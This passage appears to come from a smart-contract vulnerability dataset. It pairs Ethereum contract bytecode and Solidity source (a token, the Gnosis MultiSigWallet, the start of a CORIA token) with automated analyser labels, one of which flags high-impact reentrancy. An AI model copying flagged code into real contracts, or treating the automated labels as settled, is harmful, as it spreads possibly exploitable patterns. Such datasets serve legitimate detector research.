c029083906000818181858888f193505050501580156106a8573d6000803e3d6000fd5b60006006548211156112da5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610637565b60006112e46114ae565b90506112f083826114d1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133f5761133f611c7f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139357600080fd5b505afa1580156113a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cb9190611cf5565b816001815181106113de576113de611c7f565b6001600160a01b0392831660209182029290920101526014546114049130911684610b9f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143d908590600090869030904290600401611d12565b600060405180830381600087803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148d5761148d611513565b611498848484611541565b80610a8057610a80600e54600c55600f54600d55565b60008060006114bb611638565b90925090506114ca82826114d1565b9250505090565b60006112f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167a565b600c541580156115235750600d54155b1561152a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611553876116a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115859087611705565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b49086611747565b6001600160a01b0389166000908152600260205260409020556115d6816117a6565b6115e084836117f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061165482826114d1565b82101561167157505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361169b5760405162461bcd60e51b81526004016106379190611a38565b5060006112308486611d83565b60008060008060008060008060006116c58a600c54600d54611814565b92509250925060006116d56114ae565b905060008060006116e88e878787611869565b919e509c509a509598509396509194505050505091939550919395565b60006112f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b6000806117548385611cc6565b9050838110156112f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610637565b60006117b06114ae565b905060006117be83836118b9565b306000908152600260205260409020549091506117db9082611747565b30600090815260026020526040902055505050565b6006546117fd9083611705565b60065560075461180d9082611747565b6007555050565b600080808061182e606461182889896118b9565b906114d1565b9050600061184160646118288a896118b9565b90506000611859826118538b86611705565b90611705565b9992985090965090945050505050565b600080808061187888866118b9565b9050600061188688876118b9565b9050600061189488886118b9565b905060006118a6826118538686611705565b939b939a50919850919650505050505050565b6000826118c8575060006106bd565b60006118d48385611da5565b9050826118e18583611d83565b146112f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610637565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080757600080fd5b803561196e8161194e565b919050565b6000602080838503121561198657600080fd5b823567ffffffffffffffff8082111561199e57600080fd5b818501915085601f8301126119b257600080fd5b8135818111156119c4576119c4611938565b8060051b604051601f19603f830116810181811085821117156119e9576119e9611938565b604052918252848201925083810185019188831115611a0757600080fd5b938501935b82851015611a2c57611a1d85611963565b84529385019392850192611a0c565b98975050505050505050565b600060208083528351808285015260005b81811015611a6557858101830151858201604001528201611a49565b81811115611a77576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611aa057600080fd5b8235611aab8161194e565b946020939093013593505050565b600080600060608486031215611ace57600080fd5b8335611ad98161194e565b92506020840135611ae98161194e565b929592945050506040919091013590565b600060208284031215611b0c57600080fd5b81356112f08161194e565b8035801515811461196e57600080fd5b600060208284031215611b3957600080fd5b6112f082611b17565b600060208284031215611b5457600080fd5b5035919050565b60008060008060808587031215611b7157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ba257600080fd5b833567ffffffffffffffff80821115611bba57600080fd5b818601915086601f830112611bce57600080fd5b813581811115611bdd57600080fd5b8760208260051b8501011115611bf257600080fd5b602092830195509350611c089186019050611b17565b90509250925092565b60008060408385031215611c2457600080fd5b8235611c2f8161194e565b91506020830135611c3f8161194e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbf57611cbf611c95565b5060010190565b60008219821115611cd957611cd9611c95565b500190565b600082821015611cf057611cf0611c95565b500390565b600060208284031215611d0757600080fd5b81516112f08161194e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d625784516001600160a01b031683529383019391830191600101611d3d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611da057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbf57611dbf611c95565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122007f694cd320f52950d09604fff447f44913f39d311b96c06586ebab017ec344964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,697
0x9b984d5a03980d8dc0a24506c968465424c81dbe
pragma solidity 0.4.19; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610538578063b5dc40c3146105cf578063b77bf60014610647578063ba51a6df14610670578063c01a8c8414610693578063c6427474146106b6578063d74f8edd1461074f578063dc8452cd14610778578063e20056e6146107a1578063ee22610b146107f9575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561018257600080fd5b610198600480803590602001909190505061081c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085b565b005b341561021e57600080fd5b6102346004808035906020019091905050610af7565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d80565b005b341561036957600080fd5b61037f6004808035906020019091905050610f82565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611068565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611134565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e1611190565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610524578082015181840152602081019050610509565b505050509050019250505060405180910390f35b341561054357600080fd5b610578600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611224565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b505050509050019250505060405180910390f35b34156105da57600080fd5b6105f06004808035906020019091905050611380565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610633578082015181840152602081019050610618565b505050509050019250505060405180910390f35b341561065257600080fd5b61065a6115aa565b6040518082815260200191505060405180910390f35b341561067b57600080fd5b61069160048080359060200190919050506115b0565b005b341561069e57600080fd5b6106b4600480803590602001909190505061166a565b005b34156106c157600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611847565b6040518082815260200191505060405180910390f35b341561075a57600080fd5b610762611866565b6040518082815260200191505060405180910390f35b341561078357600080fd5b61078b61186b565b6040518082815260200191505060405180910390f35b34156107ac57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b005b341561080457600080fd5b61081a6004808035906020019091905050611b88565b005b60038181548110151561082b57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089757600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f057600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a78578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a6b5760036001600380549050038154811015156109e257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1d57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a78565b818060010192505061094d565b6001600381818054905003915081610a909190611f5d565b506003805490506004541115610aaf57610aae6003805490506115b0565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bbb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610beb57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d7957838015610d2d575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d605750828015610d5f575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d6c576001820191505b8080600101915050610cf6565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e1457600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e3b57600080fd5b60016003805490500160045460328211158015610e585750818111155b8015610e65575060008114155b8015610e72575060008214155b1515610e7d57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ee99190611f89565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561106057600160008581526020019081526020016000206000600383815481101515610fc057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611040576001820191505b6004548214156110535760019250611061565b8080600101915050610f8f565b5b5050919050565b600080600090505b60038054905081101561112e576001600084815260200190815260200160002060006003838154811015156110a157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611121576001820191505b8080600101915050611070565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611198611fb5565b600380548060200260200160405190810160405280929190818152602001828054801561121a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d0575b5050505050905090565b61122c611fc9565b611234611fc9565b6000806005546040518059106112475750595b9080825280602002602001820160405250925060009150600090505b6005548110156113035785801561129a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112cd57508480156112cc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112f6578083838151811015156112e157fe5b90602001906020020181815250506001820191505b8080600101915050611263565b8787036040518059106113135750595b908082528060200260200182016040525093508790505b8681101561137557828181518110151561134057fe5b906020019060200201518489830381518110151561135a57fe5b9060200190602002018181525050808060010191505061132a565b505050949350505050565b611388611fb5565b611390611fb5565b6000806003805490506040518059106113a65750595b9080825280602002602001820160405250925060009150600090505b600380549050811015611505576001600086815260200190815260200160002060006003838154811015156113f357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f85760038181548110151561147b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114b557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113c2565b816040518059106115135750595b90808252806020026020018201604052509350600090505b818110156115a257828181518110151561154157fe5b90602001906020020151848281518110151561155957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061152b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ea57600080fd5b60038054905081603282111580156116025750818111155b801561160f575060008114155b801561161c575060008214155b151561162757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116c357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561171f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561178b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361184085611b88565b5050505050565b6000611854848484611e0b565b905061185f8161166a565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ad57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561190657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561196057600080fd5b600092505b600380549050831015611a4b578473ffffffffffffffffffffffffffffffffffffffff1660038481548110151561199857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a3e57836003848154811015156119f057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a4b565b8280600101935050611965565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611be357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c4e57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611c7e57600080fd5b611c8786610f82565b15611e0357600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d665780601f10611d3b57610100808354040283529160200191611d66565b820191906000526020600020905b815481529060010190602001808311611d4957829003601f168201915b505091505060006040518083038185876187965a03f19250505015611db757857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e02565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e3457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611ef3929190611fdd565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611f8457818360005260206000209182019101611f83919061205d565b5b505050565b815481835581811511611fb057818360005260206000209182019101611faf919061205d565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061201e57805160ff191683800117855561204c565b8280016001018555821561204c579182015b8281111561204b578251825591602001919060010190612030565b5b509050612059919061205d565b5090565b61207f91905b8082111561207b576000816000905550600101612063565b5090565b905600a165627a7a72305820f8475cfee885a217b388f2b2f8a7f1280b3e046c39bf37ea6606cba86818853a0029
{"success": true, "error": null, "results": {}}
7,698
0xdf745e0b9babf60b0ce19a389f83262e0b5a93bd
//---------------------------------------------- //CORIA code created @ 11/12/2020 //covault.network //---------------------------------------------- pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view 